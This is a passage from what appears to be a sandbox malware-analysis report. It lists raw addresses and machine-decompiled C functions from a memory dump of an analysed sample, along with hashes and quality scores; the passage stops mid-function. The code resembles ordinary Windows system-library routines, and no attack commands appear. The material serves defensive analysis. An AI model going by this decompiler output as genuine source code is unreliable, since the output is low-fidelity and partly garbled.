0x34cdf3fb
0x34cdf400
0x34cdf404
0x34cdf408
0x34cdf40c
0x34c8112a
0x34c8112a
0x34c8112d
0x34c81133
0x34c81153
0x34c81159
0x34c81159
0x34c81163
0x34c81164
0x34c81165
0x34c81170
0x34c81170
0x34cdf329
0x34cdf32d
0x34cdf32d
0x34cdf32e
0x34cdf331
0x34cdf335
0x34cdf339
0x00000000
0x34cdf33e
0x34cdf2dc
0x34c81122
0x34c81122
0x34c81126
0x00000000
0x34c81126
0x34c810a3
0x34c810a6
0x34c810a8
0x34c810ac
0x34c810b3
0x34cdf1e1
0x34cdf1e5
0x34cdf1e9
0x34c810b9
0x34c810b9
0x34c810bc
0x34c810c5
0x34c810c7
0x34c810c7
0x34c810d3
0x34c810d6
0x34c810d9
0x34c810dc
0x34c810df
0x34c810e3
0x34c810e7
0x34c810eb
0x34c810eb
0x34c810f6
0x34c810fa
0x34c810fe
0x34cdf1fc
0x34cdf200
0x34cdf205
0x34cdf20d
0x34cdf211
0x34cdf211
0x34cdf215
0x34cdf21b
0x34cdf221
0x34cdf227
0x34cdf22d
0x34cdf231
0x34cdf235
0x34cdf239
0x34cdf23d
0x34cdf241
0x34cdf241
0x34c81104
0x34c8110a
0x34cdf24a
0x34cdf24e
0x34cdf250
0x34cdf252
0x00000000
0x34c81110
0x34c81110
0x00000000
0x34c81110

APIs

RtlDebugPrintTimes.NTDLL ref: 34C81153

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 4c56787115fbf876f9a9b8cc24b3f98a9630570c40bd49a8fa929d08d1a10e41
Instruction ID: 439cbf049f69055cf15f6fb9f49bca65276b1d8e10d940fdc2ed41082f07d3ae
Opcode Fuzzy Hash: 4c56787115fbf876f9a9b8cc24b3f98a9630570c40bd49a8fa929d08d1a10e41
Instruction Fuzzy Hash: 63B102B96093809FD354CF28C490A5ABBF2BF89304F58496EE999C7352D731E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 34C8254C Relevance: 1.6, APIs: 1, Instructions: 119
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E34C8254C(void* __ebx, intOrPtr __ecx, signed int __edi, void* __esi, void* __eflags) {
				signed int _v4;
				intOrPtr _v16;
				intOrPtr _v128;
				intOrPtr* _v132;
				char _v180;
				intOrPtr _v184;
				signed int _t41;
				void* _t50;
				void* _t61;
				intOrPtr _t66;
				signed int _t67;
				signed int _t68;
				signed int _t69;
				signed int _t75;
				intOrPtr _t76;
				intOrPtr* _t77;
				void* _t78;
				void* _t79;
				signed int _t80;
				signed int _t82;
				signed int _t84;
				intOrPtr* _t85;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t92;
				void* _t108;

				_t61 = __ebx;
				_push("true");
				_push(0x34d5bbe0);
				E34CD7C40(__ebx, __edi, __esi);
				_t89 = __ecx;
				_v184 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) != 0) {
					E34CBC819(__ebx, __ecx, _t78, __edi, __ecx, __eflags);
					_t66 =  *((intOrPtr*)(__ecx + 8));
					_t82 = __edi | 0xffffffff;
					__eflags = _t82;
					asm("lock xadd [ecx], eax");
					if(_t82 == 0) {
						L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)),  *0x34d76644, _t66);
					}
				} else {
					_t82 = __edi | 0xffffffff;
				}
				if( *((intOrPtr*)(_t89 + 0x38)) != _t82) {
					_push( *((intOrPtr*)(_t89 + 0x38)));
					L20();
				}
				_t39 =  *((intOrPtr*)(_t89 + 0x5c));
				if( *((intOrPtr*)(_t89 + 0x5c)) == 0) {
					L34C92330(_t39, 0x34d78a30);
					_v4 = 1;
					_t41 = _t89 + 0x60;
					_t79 =  *_t41;
					_t67 =  *(_t41 + 4);
					__eflags =  *(_t79 + 4) - _t41;
					if( *(_t79 + 4) != _t41) {
						goto L19;
					} else {
						__eflags =  *_t67 - _t41;
						if( *_t67 != _t41) {
							goto L19;
						} else {
							 *_t67 = _t79;
							 *(_t79 + 4) = _t67;
							 *(_t41 + 4) = _t41;
							 *_t41 = _t41;
							_v4 = 0xfffffffe;
							_t50 = E34CDFC88();
							goto L10;
						}
					}
				} else {
					L34C92330(_t39 + 0x2c, _t39 + 0x2c);
					_v4 = _v4 & 0x00000000;
					_t41 = _t89 + 0x60;
					_t79 =  *_t41;
					_t75 =  *(_t41 + 4);
					if( *(_t79 + 4) != _t41 ||  *_t75 != _t41) {
						L19:
						_t68 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t61);
						_push(_t89);
						_t90 = _v4;
						_push(_t82);
						__eflags = _t90;
						if(_t90 != 0) {
							_t41 = _t90 - 0x00000001 | 0x00000007;
							__eflags = _t41 - 0xffffffff;
							if(_t41 != 0xffffffff) {
								__eflags =  *_t90;
								if( *_t90 > 0) {
									__eflags =  *_t90 - 0x7fffffff;
									if( *_t90 != 0x7fffffff) {
										while(1) {
											_t80 =  *_t90;
											__eflags = _t80 - 0x7fffffff;
											if(_t80 == 0x7fffffff) {
												break;
											}
											_t84 = _t80 - 1;
											_t41 = _t80;
											_t68 = _t84;
											asm("lock cmpxchg [esi], ecx");
											__eflags = _t41 - _t80;
											if(_t41 != _t80) {
												continue;
											}
											L27:
											__eflags =  *0x34d76910;
											if( *0x34d76910 != 0) {
												asm("lock xadd [esi+0xe8], eax");
												_t41 = E34CAC000(_t68, 1, "true", 0xbadc99 + _t90, 0);
											}
											__eflags = _t84;
											if(_t84 == 0) {
												__eflags =  *0x34d76911;
												_t69 = _t90;
												if(__eflags != 0) {
													_t41 = E34D0DA40(0x7fffffff, _t69, _t84, _t90, __eflags);
												} else {
													_t41 = E34C792AF(_t69);
												}
											}
											goto L21;
										}
										_t84 = 0x7fffffff;
										goto L27;
									}
								}
							}
						}
						L21:
						return _t41;
					} else {
						 *_t75 = _t79;
						 *(_t79 + 4) = _t75;
						 *(_t41 + 4) = _t41;
						 *_t41 = _t41;
						_v4 = 0xfffffffe;
						_t50 = E34C82688(_t89);
						_t76 =  *((intOrPtr*)(_t89 + 0x5c));
						_t108 = _t76 -  *0x34d76890; // 0x49807c0
						if(_t108 != 0) {
							__eflags = _t76 -  *0x34d76888; // 0x0
							if(__eflags != 0) {
								asm("lock xadd [ecx], edi");
								_t87 = _t82 - 1;
								__eflags = _t82 - 1;
								if(__eflags == 0) {
									_t50 = E34C7B705(_t61, _t76, _t87, _t89, __eflags);
								}
							} else {
								_t79 = 0x34d7688c;
								_t77 = 0x34d76888;
								goto L9;
							}
						} else {
							_t79 = 0x34d76894;
							_t77 = 0x34d76890;
							L9:
							_t50 = E34C82712(_t61, _t77, _t79, _t82, _t89, _t108);
						}
						L10:
						_t85 =  *((intOrPtr*)(_t89 + 0x10));
						if(_t85 != 0) {
							E34CC8F40( &_v180, 0, "true");
							_v132 = _t85;
							_t92 =  *((intOrPtr*)(_t89 + 0x34));
							_v128 = _t92;
							E34C86D60( &_v180);
							 *0x34d791e0( &_v180, _t92);
							 *_t85();
							_t50 = E34C861C3( &_v180, _t79);
						}
						 *[fs:0x0] = _v16;
						return _t50;
					}
				}
			}

0x34c8254c
0x34c8254c
0x34c82551
0x34c82556
0x34c8255b
0x34c8255d
0x34c82567
0x34c82645
0x34c8264a
0x34c8264d
0x34c8264d
0x34c82652
0x34c82656
0x34cdfc1b
0x34cdfc1b
0x34c8256d
0x34c8256d
0x34c8256d
0x34c82573
0x34c82575
0x34c82578
0x34c82578
0x34c8257d
0x34c82582
0x34cdfc42
0x34cdfc47
0x34cdfc4e
0x34cdfc51
0x34cdfc53
0x34cdfc56
0x34cdfc59
0x00000000
0x34cdfc5f
0x34cdfc5f
0x34cdfc61
0x00000000
0x34cdfc67
0x34cdfc67
0x34cdfc69
0x34cdfc6c
0x34cdfc6f
0x34cdfc71
0x34cdfc78
0x00000000
0x34cdfc78
0x34cdfc61
0x34c82588
0x34c8258c
0x34c82591
0x34c82595
0x34c82598
0x34c8259a
0x34c825a0
0x34c82695
0x34c82697
0x34c82698
0x34c8269a
0x34c8269b
0x34c8269c
0x34c8269d
0x34c8269e
0x34c8269f
0x34c826a5
0x34c826a6
0x34c826a7
0x34c826aa
0x34c826ab
0x34c826ad
0x34c826b9
0x34c826bc
0x34c826bf
0x34c826c1
0x34c826c4
0x34c826cb
0x34c826cd
0x34c826cf
0x34c826cf
0x34c826d1
0x34c826d3
0x00000000
0x00000000
0x34c826d5
0x34c826d8
0x34c826da
0x34c826dc
0x34c826e0
0x34c826e2
0x00000000
0x00000000
0x34c826e4
0x34c826e4
0x34c826eb
0x34cdfc96
0x34cdfcb3
0x34cdfcb3
0x34c826f1
0x34c826f3
0x34c826f5
0x34c826fc
0x34c826fe
0x34c8270b
0x34c82700
0x34c82700
0x34c82700
0x34c826fe
0x00000000
0x34c826f3
0x34c82707
0x00000000
0x34c82707
0x34c826cd
0x34c826c4
0x34c826bf
0x34c826af
0x34c826b3
0x34c825ae
0x34c825ae
0x34c825b0
0x34c825b3
0x34c825b6
0x34c825b8
0x34c825bf
0x34c825c4
0x34c825c7
0x34c825cd
0x34c82661
0x34c82667
0x34c82678
0x34c8267c
0x34c8267c
0x34c8267d
0x34cdfc33
0x34cdfc33
0x34c82669
0x34c82669
0x34c8266e
0x00000000
0x34c8266e
0x34c825d3
0x34c825d3
0x34c825d8
0x34c825dd
0x34c825dd
0x34c825dd
0x34c825e2
0x34c825e2
0x34c825e7
0x34c82607
0x34c8260f
0x34c82615
0x34c82618
0x34c82621
0x34c82630
0x34c82636
0x34c8263e
0x34c8263e
0x34c825ec
0x34c825f8
0x34c825f8
0x34c825a0

APIs

RtlDebugPrintTimes.NTDLL ref: 34C82630

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: a8bab370e1dbe2cd077e95b1efbbb5eec3f18b14b5dc68187120e994b79ebd5e
Instruction ID: 87205e46df76e38160799493f25fb369a0a31f1647c9597dd9744a8582cc6afa
Opcode Fuzzy Hash: a8bab370e1dbe2cd077e95b1efbbb5eec3f18b14b5dc68187120e994b79ebd5e
Instruction Fuzzy Hash: ED41BE75541B04CFE720CF25C954B49BBF7FF85368F1482AAC0569B6A0EB30AA41CF41

Uniqueness

Uniqueness Score: -1.00%

Function 34C84779 Relevance: 1.6, APIs: 1, Instructions: 111
timeCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E34C84779(signed int __eax, signed int __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v0;
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t55;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t67;
				signed int _t69;
				void* _t73;
				intOrPtr _t74;
				signed int _t76;
				signed int _t79;
				void* _t80;
				intOrPtr* _t84;
				signed int _t88;
				intOrPtr* _t93;
				intOrPtr _t96;
				signed int _t98;
				intOrPtr* _t100;
				void* _t102;

				_t88 = __edx;
				_t55 = __eax;
				_push(_t73);
				_t100 = __edx;
				if((_a4 & 0x00000001) == 0) {
					L17:
					if((_a4 & 0x00000002) != 0) {
						_push("true");
						_t93 = _t100 + 8;
						_pop(_t74);
						do {
							__eflags =  *_t93;
							if( *_t93 != 0) {
								L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *_t93);
							}
							_t93 = _t93 + 4;
							_t74 = _t74 - 1;
							__eflags = _t74;
						} while (_t74 != 0);
						_t55 = L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t74, _t100);
					}
					return _t55;
				} else {
					_t79 =  *0x34d766fc; // 0x5
					_v12 = _t79;
					if(_t79 >= 1) {
						_t98 = 0x11;
						do {
							asm("bsr eax, edi");
							_t88 = _t98;
							asm("btc edx, eax");
							_v20 = _t88;
							_t55 =  *(_t100 + _t55 * 4 - 8);
							_v16 = _t55;
							if(_t55 != 0) {
								_t55 = _t55 + _t88 * 4 + 4;
								if(_t55 != 0 &&  *_t55 != 0) {
									asm("bsr eax, edi");
									_t85 = _t98;
									asm("btc ecx, eax");
									_t67 =  *((intOrPtr*)(0x34d766c4 + _t55 * 4));
									if(_t67 == 0) {
										_t73 = 0;
									} else {
										_t73 = 4 + _t85 * 8 + _t67;
									}
									L34C853C0(_t73);
									_t69 =  *((intOrPtr*)(_t73 + 4));
									_v12 = _t69;
									if(_t69 != 0 && _t69 != 0xffffffff) {
										_t88 = _v16;
										_t85 =  *(_t88 + 4 + _v20 * 4);
										if(_t85 != 0) {
											 *0x34d791e0(_t85);
											_v8();
											_t72 = _v24;
											 *(_v20 + 4 + _t72 * 4) =  *(_v20 + 4 + _v24 * 4) & 0x00000000;
										}
									}
									_t55 = E34C852F0(_t85, _t73);
									_t79 = _v16;
								}
							}
							_t98 = _t98 + 1;
							_t79 = _t79 - 1;
							_v12 = _t79;
						} while (_t79 != 0);
					}
					L34C92330(_t55, 0x34d766d0);
					_t60 =  *_t100;
					if( *((intOrPtr*)(_t60 + 4)) != _t100) {
						L24:
						_t80 = 3;
						asm("int 0x29");
						_push(_t80);
						_push(_t73);
						_push(_t100);
						_push(0x34d766d0);
						_t96 = _v28;
						_t76 = _t88;
						_t102 = _t80;
						__eflags = _t96;
						if(__eflags != 0) {
							_t61 =  *((intOrPtr*)(_t96 + 0x1c));
						} else {
							_t61 = 0;
							__eflags = 0;
						}
						_push(_a12);
						_push(_a8);
						_push(_t61);
						_push(_t96);
						_t62 = E34C8496B(_t76, _t80, _t96, _t102, __eflags);
						__eflags = _t62;
						if(_t62 >= 0) {
							E34C8491F( *((intOrPtr*)(_t102 + 0x5c)), 1);
							 *(_t102 + 0x90) =  *(_t102 + 0x90) & 0x00000000;
							 *(_t102 + 0xdd) = _t76;
							__eflags = _t96;
							if(_t96 != 0) {
								 *((intOrPtr*)(_t102 + 0x10)) =  *((intOrPtr*)(_t96 + 0x18));
							}
							__eflags =  *((intOrPtr*)(_t102 + 8));
							if(__eflags != 0) {
								E34CB73B3(_t76, _t102, _t96, _t102, __eflags);
							}
							_t62 = 0;
							__eflags = 0;
						}
						return _t62;
					} else {
						_t84 =  *((intOrPtr*)(_t100 + 4));
						if( *_t84 != _t100) {
							goto L24;
						} else {
							 *_t84 = _t60;
							 *((intOrPtr*)(_t60 + 4)) = _t84;
							_t55 = E34C924D0(0x34d766d0);
							goto L17;
						}
					}
				}
			}

0x34c84779
0x34c84779
0x34c84788
0x34c8478b
0x34c8478d
0x34c8486a
0x34c8486e
0x34c84879
0x34c8487b
0x34c8487e
0x34c8487f
0x34c8487f
0x34c84882
0x34c848ab
0x34c848ab
0x34c84884
0x34c84887
0x34c84887
0x34c84887
0x34c84897
0x34c84897
0x34c84876
0x34c84793
0x34c84793
0x34c84799
0x34c847a0
0x34c847a8
0x34c847a9
0x34c847a9
0x34c847ac
0x34c847ae
0x34c847b1
0x34c847b5
0x34c847b9
0x34c847bf
0x34c847c4
0x34c847c7
0x34c847ce
0x34c847d1
0x34c847d3
0x34c847d6
0x34c847df
0x34ce0144
0x34c847e5
0x34c847ec
0x34c847ec
0x34c847ef
0x34c847f4
0x34c847f7
0x34c847fd
0x34c84808
0x34c8480c
0x34c84812
0x34c84817
0x34c8481d
0x34c84821
0x34c84829
0x34c84829
0x34c84812
0x34c8482f
0x34c84834
0x34c84834
0x34c847c7
0x34c84838
0x34c84839
0x34c8483c
0x34c8483c
0x34c847a9
0x34c8484c
0x34c84851
0x34c84856
0x34c848b2
0x34c848b4
0x34c848b5
0x34c848bc
0x34c848bd
0x34c848be
0x34c848bf
0x34c848c0
0x34c848c3
0x34c848c5
0x34c848c7
0x34c848c9
0x34c8491a
0x34c848cb
0x34c848cb
0x34c848cb
0x34c848cb
0x34c848cd
0x34c848d3
0x34c848d6
0x34c848d7
0x34c848d8
0x34c848dd
0x34c848df
0x34c848e7
0x34c848ec
0x34c848f3
0x34c848f9
0x34c848fb
0x34c84900
0x34c84900
0x34c84903
0x34c84907
0x34c8490b
0x34c8490b
0x34c84910
0x34c84910
0x34c84910
0x34c84917
0x34c84858
0x34c84858
0x34c8485d
0x00000000
0x34c8485f
0x34c8485f
0x34c84862
0x34c84865
0x00000000
0x34c84865
0x34c8485d
0x34c84856

APIs

RtlDebugPrintTimes.NTDLL ref: 34C84817

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: f0bcc6eefe6a048e84d9153b7f0ad7b6a693c95d7b6fac3e00e153d2d5754e33
Instruction ID: ec3189ea27a2dad887ab23b31a5e277df81291ed87ed0fa7ec844a2e1460bd5e
Opcode Fuzzy Hash: f0bcc6eefe6a048e84d9153b7f0ad7b6a693c95d7b6fac3e00e153d2d5754e33
Instruction Fuzzy Hash: 6D41F3746003459FE310CF28C894BAABBEBFF813A8F50442DE941CB2A1EB34D845CB95

Uniqueness

Uniqueness Score: -1.00%

Function 34C7B420 Relevance: 1.6, APIs: 1, Instructions: 100
timeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E34C7B420(signed int __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _t25;
				intOrPtr* _t27;
				void* _t28;
				signed int _t29;
				intOrPtr _t31;
				signed int _t40;
				intOrPtr _t42;
				intOrPtr* _t46;
				intOrPtr _t47;
				void* _t49;
				intOrPtr _t51;
				intOrPtr _t61;
				intOrPtr* _t62;
				signed int _t69;
				void* _t71;

				_t40 = __ebx;
				_t71 = (_t69 & 0xfffffff8) - 0x14;
				_push(__ebx);
				_t61 = _a8;
				_push(__edi);
				_t57 = _t61 + 0x14;
				L34C92330(_t25, _t61 + 0x14);
				_t27 = _t61 + 0x18;
				_t62 =  *_t27;
				if(_t62 == _t27) {
					_t62 = 0;
					goto L4;
				} else {
					if( *((intOrPtr*)(_t62 + 4)) != _t27) {
						L11:
						_t49 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						if( *0x34d75da8 == 0) {
							E34C7B566(_t49, _v0, _t57, _t62);
							return E34C7B502(_v0);
						}
						return _t27;
					} else {
						_t51 =  *_t62;
						if( *((intOrPtr*)(_t51 + 4)) != _t62) {
							goto L11;
						} else {
							 *_t27 = _t51;
							 *((intOrPtr*)(_t51 + 4)) = _t27;
							L4:
							_t28 = E34C924D0(_t57);
							_t42 = _a8;
							if((_t40 & 0xffffff00 |  *_t27 != _t27) != 0) {
								_t28 = E34C91C8F(_t42, _t42,  *((intOrPtr*)(_a4 + 0x48)), _t57, 1, 0);
							}
							if(_t62 != 0) {
								_t10 = _t62 - 0x10; // -16
								_t29 = _t10;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t46 =  *((intOrPtr*)(_t29 + 0x18));
								asm("lock xadd [ecx+0x4], eax");
								if((_t29 | 0xffffffff) == 0) {
									_t31 =  *0x34d76644; // 0x0
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t31 + 0x300000,  *_t46);
								}
								_t47 = _a4;
								 *((intOrPtr*)(_t47 + 0x30)) =  *((intOrPtr*)(_t42 + 0x20));
								 *((intOrPtr*)(_t47 + 0x34)) = _t42;
								 *0x34d791e0(_t47, _t42,  *((intOrPtr*)(_t71 + 0x18)), _t71 + 0x18);
								_t28 =  *((intOrPtr*)( *((intOrPtr*)(_t42 + 0x20))))();
							}
							return _t28;
						}
					}
				}
			}

0x34c7b420
0x34c7b428
0x34c7b42b
0x34c7b42d
0x34c7b430
0x34c7b431
0x34c7b435
0x34c7b43a
0x34c7b43d
0x34c7b441
0x34c7b4d0
0x00000000
0x34c7b447
0x34c7b44a
0x34c7b4d4
0x34c7b4d6
0x34c7b4d7
0x34c7b4d9
0x34c7b4da
0x34c7b4db
0x34c7b4dc
0x34c7b4dd
0x34c7b4de
0x34c7b4df
0x34c7b4ec
0x34c7b4f1
0x00000000
0x34c7b4f9
0x34c7b4ff
0x34c7b450
0x34c7b450
0x34c7b455
0x00000000
0x34c7b457
0x34c7b457
0x34c7b459
0x34c7b45c
0x34c7b462
0x34c7b469
0x34c7b46c
0x34c7b4c9
0x34c7b4c9
0x34c7b470
0x34c7b472
0x34c7b472
0x34c7b47b
0x34c7b47c
0x34c7b47d
0x34c7b47e
0x34c7b47f
0x34c7b485
0x34c7b48a
0x34cdccdd
0x34cdccf1
0x34cdccf1
0x34c7b490
0x34c7b496
0x34c7b4a2
0x34c7b4ac
0x34c7b4b2
0x34c7b4b2
0x34c7b4ba
0x34c7b4ba
0x34c7b455
0x34c7b44a

APIs

RtlDebugPrintTimes.NTDLL ref: 34C7B4AC

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: fe684ad7a977c366647459f20bfff8c4331356b4ef15e2051d976744606cfdac
Instruction ID: 3532fc7a6acd780738a3c2c5db313b9ae8accb79326b42c50bbceaad9109b3fd
Opcode Fuzzy Hash: fe684ad7a977c366647459f20bfff8c4331356b4ef15e2051d976744606cfdac
Instruction Fuzzy Hash: 6C310572640604EFD711CF14C880A5A7BAAFF85368F1442A9EE459F291EB31ED42CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 34C856E0 Relevance: 1.6, APIs: 1, Instructions: 92
timeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E34C856E0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				void* _v36;
				void* _v60;
				void* _t32;
				char* _t35;
				void* _t37;
				char* _t41;
				char* _t52;
				intOrPtr _t60;
				void* _t70;
				signed int _t76;
				signed int _t77;

				_t77 = _t76 & 0xfffffff8;
				_push(__ecx);
				_t73 = _a8;
				_t70 = _a8 - 0x78;
				_t32 = E34C93C40();
				_t52 = 0x7ffe0386;
				if(_t32 != 0) {
					_t35 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				} else {
					_t35 = 0x7ffe0386;
				}
				if( *_t35 != 0) {
					L34D54B67( *((intOrPtr*)(_t70 + 0x5c)), _t73,  *((intOrPtr*)(_t70 + 0x30)),  *((intOrPtr*)(_t70 + 0x34)),  *((intOrPtr*)(_t70 + 0x3c)));
				}
				_t37 = E34C87072(_a4, _t70, 0);
				if(_t37 != 0) {
					if(E34C93C40() != 0) {
						_t41 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t41 = _t52;
					}
					if( *_t41 != 0) {
						E34D54C59( *((intOrPtr*)(_t70 + 0x5c)), _t73,  *((intOrPtr*)(_t70 + 0x30)),  *((intOrPtr*)(_t70 + 0x34)),  *((intOrPtr*)(_t70 + 0x3c)));
					}
					E34C86F4C(_t77 + 0x10,  *((intOrPtr*)(_t70 + 0x30)),  *((intOrPtr*)(_t70 + 0x34)),  *((intOrPtr*)(_t70 + 0x3c)));
					_t60 = _a4;
					 *((intOrPtr*)(_t60 + 0x30)) =  *((intOrPtr*)(_t70 + 0x30));
					 *((intOrPtr*)(_t60 + 0x34)) =  *((intOrPtr*)(_t70 + 0x34));
					 *0x34d791e0(_t60,  *((intOrPtr*)(_t70 + 0x34)), _t70);
					 *((intOrPtr*)( *((intOrPtr*)(_t70 + 0x30))))();
					if(E34C93C40() != 0) {
						_t52 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					}
					if( *_t52 != 0) {
						E34D54CD2( *((intOrPtr*)(_t70 + 0x5c)), _a8,  *((intOrPtr*)(_t70 + 0x30)),  *((intOrPtr*)(_t70 + 0x34)),  *((intOrPtr*)(_t70 + 0x3c)));
					}
					_t37 = E34C86ECF( *((intOrPtr*)(_t77 + 0xc)));
				}
				return _t37;
			}

0x34c856e5
0x34c856e8
0x34c856eb
0x34c856ef
0x34c856f2
0x34c856f7
0x34c856fe
0x34ce06a1
0x34c85704
0x34c85704
0x34c85704
0x34c85709
0x34ce06b9
0x34ce06b9
0x34c85716
0x34c8571d
0x34c85726
0x34ce06cc
0x34c8572c
0x34c8572c
0x34c8572c
0x34c85731
0x34ce06e4
0x34ce06e4
0x34c85744
0x34c85749
0x34c85750
0x34c85756
0x34c85762
0x34c85768
0x34c85771
0x34ce06f7
0x34ce06f7
0x34c8577a
0x34ce0711
0x34ce0711
0x34c85784
0x34c85784
0x34c8578f

APIs

RtlDebugPrintTimes.NTDLL ref: 34C85762

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 3708e14df24b8cb7450422d174a71bd5ed2dd250432fec61d451d0db2f2bc1f0
Instruction ID: e9166762203f0c7323c6fee751f13c9dc57bce1e30ba98070faef68db12b6d1c
Opcode Fuzzy Hash: 3708e14df24b8cb7450422d174a71bd5ed2dd250432fec61d451d0db2f2bc1f0
Instruction Fuzzy Hash: DB31AF35711A15FFE7458B25CA80B99BBABFF88354F449055EC0187A61DB71E870CB84

Uniqueness

Uniqueness Score: -1.00%

Function 34D2E750 Relevance: 1.6, APIs: 1, Instructions: 91
timeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E34D2E750(intOrPtr __ecx, intOrPtr* __edx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				char _v20;
				intOrPtr _v24;
				char _v25;
				intOrPtr _v28;
				intOrPtr* _v32;
				char _v33;
				char* _t30;
				intOrPtr* _t33;
				void* _t37;
				intOrPtr* _t42;
				intOrPtr* _t43;
				intOrPtr* _t44;
				intOrPtr* _t46;
				char* _t49;
				char _t51;
				char* _t53;
				intOrPtr* _t57;
				intOrPtr* _t60;

				_t30 =  &_v12;
				_v24 = __ecx;
				_t60 = __edx;
				_v8 = _t30;
				_t46 = 0;
				_v16 = __edx;
				_v25 = 0;
				_v12 = _t30;
				L34C92330(_t30, 0x34d76d4c);
				_t57 =  *0x34d7379c; // 0x77e1379c
				if(_t57 == 0x34d7379c) {
					L10:
					E34C924D0(0x34d76d4c);
					while(1) {
						_t33 = _v12;
						_t49 =  &_v12;
						if(_t33 == _t49) {
							goto L16;
						}
						if( *((intOrPtr*)(_t33 + 4)) != _t49) {
							goto L15;
						} else {
							_t51 =  *_t33;
							if( *((intOrPtr*)(_t51 + 4)) != _t33) {
								goto L15;
							} else {
								_v12 = _t51;
								 *((intOrPtr*)(_t51 + 4)) =  &_v12;
								L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
								continue;
							}
						}
						goto L16;
					}
				} else {
					do {
						_t7 = _t57 + 8; // 0x77e137a4
						_t37 = _t7;
						_t46 = _t57;
						 *_t37 =  *_t37 + 1;
						_v20 = _t37;
						E34C924D0(0x34d76d4c);
						 *0x34d791e0(_v28, _t60);
						if( *((intOrPtr*)( *((intOrPtr*)(_t57 + 0xc))))() != 0) {
							_v33 = 1;
						}
						L34C92330(_t40, 0x34d76d4c);
						_t42 = _v32;
						_t57 =  *_t57;
						 *_t42 =  *_t42 - 1;
						if( *_t42 != 0) {
							goto L8;
						} else {
							if( *((intOrPtr*)(_t57 + 4)) != _t46) {
								L15:
								_push(3);
								asm("int 0x29");
							} else {
								_t43 =  *((intOrPtr*)(_t46 + 4));
								if( *_t43 != _t46) {
									goto L15;
								} else {
									 *_t43 = _t57;
									_t53 =  &_v20;
									 *((intOrPtr*)(_t57 + 4)) = _t43;
									_t44 = _v16;
